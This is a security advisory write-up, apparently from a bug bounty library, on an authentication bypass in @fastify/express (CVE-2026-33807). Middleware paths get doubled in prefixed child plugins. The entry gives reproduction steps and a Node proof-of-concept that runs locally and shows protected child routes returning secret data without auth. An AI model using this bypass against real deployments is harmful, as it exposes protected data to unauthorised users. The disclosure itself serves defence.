# @fastify/express's middleware path doubling causes authentication bypass in child plugin scopes

@fastify/express doubles middleware paths when inherited by prefixed child plugins, silently skipping auth middleware on child routes and exposing protected data.

- Payout: Research
- Severity: critical
- Program: @fastify/express
- Found by (vendor credit): FredKSchott
- Found by: FredKSchott
- Disclosed: 2026-04-16
- CVE: CVE-2026-33807
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hrwm-hgmj-7p9c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-hrwm-hgmj-7p9c
- Tags: area:web domain:oss domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Fastify plugin middleware registration (onRegister/use path handling)
**Root cause:** onRegister re-calls use() with already-prefixed middleware paths, and use() unconditionally prepends this.prefix again, producing a doubled path that never matches child-scope routes.
**Steps:**
1. Register @fastify/express on a Fastify app.
2. Add path-scoped middleware: `app.use('/admin', authFn)` — stored as `['/admin', authFn]` in kMiddlewares.
3. Register a child plugin with `{ prefix: '/admin' }`, triggering onRegister to copy parent middleware via `instance.use('/admin', authFn)`.
4. Child's use() computes `'/admin' + '/admin' = '/admin/admin'`, registering middleware under the wrong path.
5. Request `/admin/secret` without auth: middleware at `/admin/admin` doesn't match, route returns 200 with secret data.
**How found:** Code reading of onRegister (index.js lines 92-101) and use() (lines 25-26): noticed use() always prepends this.prefix while onRegister passes already-prefixed paths, then confirmed with a PoC comparing root vs child route responses.
**Exploitation:** Any unauthenticated request to a child-scope route whose prefix overlaps a parent middleware path reaches the handler without the middleware running; no special crafting needed.
**Escalation:** Nested child plugins with deeper prefixes (e.g. `/admin/sub`) also bypass, path becomes `/admin/sub/admin`; affects auth, authz, rate limiting, CSRF, audit logging.
**Insight:** When a framework copies middleware across plugin scopes, check whether stored paths are already prefixed before re-registration — prefix-doubling silently disables path-scoped middleware only in child scopes, so root-scope tests pass and mask it.

## Proof of concept (copied exactly from the original report)

**Node PoC script demonstrating auth bypass**

```
const fastify = require('fastify');
const http = require('http');

function get(port, url) {
  return new Promise((resolve, reject) => {
    http.get('http://localhost:' + port + url, (res) => {
      let data = '';
      res.on('data', (chunk) => data += chunk);
      res.on('end', () => resolve({ status: res.statusCode, body: data }));
    }).on('error', reject);
  });
}

async function test() {
  const app = fastify({ logger: false });
  await app.register(require('@fastify/express'));
  
  // Middleware enforcing auth on /admin routes
  app.use('/admin', function(req, res, next) {
    if (!req.headers.authorization) {
      res.statusCode = 403;
      res.setHeader('content-type', 'application/json');
      res.end(JSON.stringify({ error: 'Forbidden' }));
      return;
    }
    next();
  });
  
  // Root scope route — middleware works correctly
  app.get('/admin/root-data', async () => ({ data: 'root-secret' }));
  
  // Child scope route — middleware BYPASSED
  await app.register(async function(child) {
    child.get('/secret', async () => ({ data: 'child-secret' }));
  }, { prefix: '/admin' });
  
  await app.listen({ port: 19876, host: '0.0.0.0' });
  
  // Root scope: correctly blocked
  let r = await get(19876, '/admin/root-data');
  console.log('/admin/root-data (no auth):', r.status, r.body);
  // Output: 403 {"error":"Forbidden"}
  
  // Child scope: BYPASSED — secret data returned without auth
  r = await get(19876, '/admin/secret');
  console.log('/admin/secret (no auth):', r.status, r.body);
  // Output: 200 {"data":"child-secret"}
  
  await app.close();
}
test();
```

